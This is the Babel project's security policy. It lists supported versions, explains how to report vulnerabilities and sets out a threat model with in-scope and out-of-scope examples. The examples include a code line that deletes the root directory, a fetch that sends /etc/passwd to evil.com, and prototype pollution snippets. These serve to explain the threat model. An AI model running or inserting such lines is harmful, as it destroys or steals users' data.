This is the list of versions of babel which are currently being supported with security updates.

Note that for each supported major version, we only guarantee security fixes for the last minor version. This means that if, for example, the last released version is 7.16.4 we will only release security fixes as 7.16.5 and not for 7.15.x or older. This is because upgrading from a minor to another should be as easy as updating to a new patch version.

To report a vulnerability please send an email with the details to security@babeljs.io. The vulnerability report must include a proof-of-concept of the exploit, or at least a few pointers that can help us assess the risk level. The vulnerability report must be written in English.

Once we assess the risk level, we will work together with the reporter on a patch. As soon as the patch is released, we will coordinate together with the reporter and potential significant stakeholders (such as big frameworks that use Babel and are affected, or Tidelift for packages enrolled in their system) on the best disclosure timeline.

In the Babel threat model, there are trusted elements such as the JavaScript runtime that runs Babel (e.g. Node.js), the JavaScript runtime that runs Babel's output (e.g. a browser), configuration files and third-party Babel plugins. Vulnerabilities that require the compromise of these trusted elements are outside the scope of the Babel threat model.

Babel does not trust:

• the input code to be compiled
• the input source map

Note that Babel configuration files and third-party plugins can result in arbitrary code execution: Babel consumers should not pass arbitrary plugins and configuration files to Babel without taking the appropriate measures needed to run untrusted code.

Being able to cause the following through control of the elements that Babel does not trust is considered a vulnerability:

• In the system that Babel itself runs in
  • Disclosure or loss of integrity or confidentiality of data
• In the system that output code generated by Babel runs in
  • Any side effect or availability loss or performance degradation, other than what's expected according to the documented behavior of the language features used in the input code provided to Babel

The documented behavior of language features is defined by the corresponding specification (e.g. ECMA-262), by a proposal that changes the specification (e.g. proposals for new JavaScript features), or, when neither is available, by the behavior of other tools in the same space. Babel assumes that all built-ins defined by such specifications have not been modified.

Babel's threat model does not consider availability loss or performance degradation in the system that Babel itself runs in to be a security issue. Users passing arbitrary code as input to Babel should take the appropriate measures to handle resource exhaustion caused by the transpilation process, such as by running Babel in a separate Node.js worker than can be terminated independently from the rest of the application.

Data integrity loss in the system that Babel itself runs in

Running Babel in Node.js to compile the code String({ toString: new Function('require("fs").rmdirSync("/")') }) causes Babel to, while compiling, execute require("fs").rmdirSync("/")

A side effect, other than what's expected according the documented behavior of the input code, in the system that the output code generated by Babel runs in

Babel's output code for the input var payload = ""; fetch(`//evil.com/?payload=${payload}`); is var payload = require("fs").readFileSync("/etc/passwd"); fetch(`//evil.com/?payload=${payload}`);

A third-party plugin passing untrusted input to a Babel API causing prototype pollution

When a Babel plugin uses @babel/traverse by doing traverse.visitors.merge([ { ["__proto__"]: { polluted: true } } ]), Babel defines Object.prototype.polluted = true in the Node.js process in which it's running.

Availability loss due to passing excessively complex input to Babel

When using Babel to compile a 20 MB JavaScript file, the Node.js process becomes unresponsive for 30 seconds.

When using Babel to parse JavaScirpt code with 1000 nested function calls (fn(fn(fn(fn(...))))), Node.js throws a Maximum call stack size exceeded error.

Babel's output code calls a function that the input code did not call, due to a JavaScript built-in being patched

Babel's output code for the input Array.prototype.concat = doEvil; [...arr1, arr2]; is Array.prototype.concat.call(arr1, arr2);, causing doEvil to run.

If you receive a security warning relative to a dependency of Babel, before reporting it to us please make sure that at least one of the following is true:

1. the version of that dependency containing the security fix is not compatible with the semver range that Babel uses to depend on it;
2. the vulnerability affects Babel's usage of that dependency.

Note that if (1) is true but (2) is false, we will consider it as a low-level vulnerability and might decide not to fix it.

Thanks for helping to keep babel secure.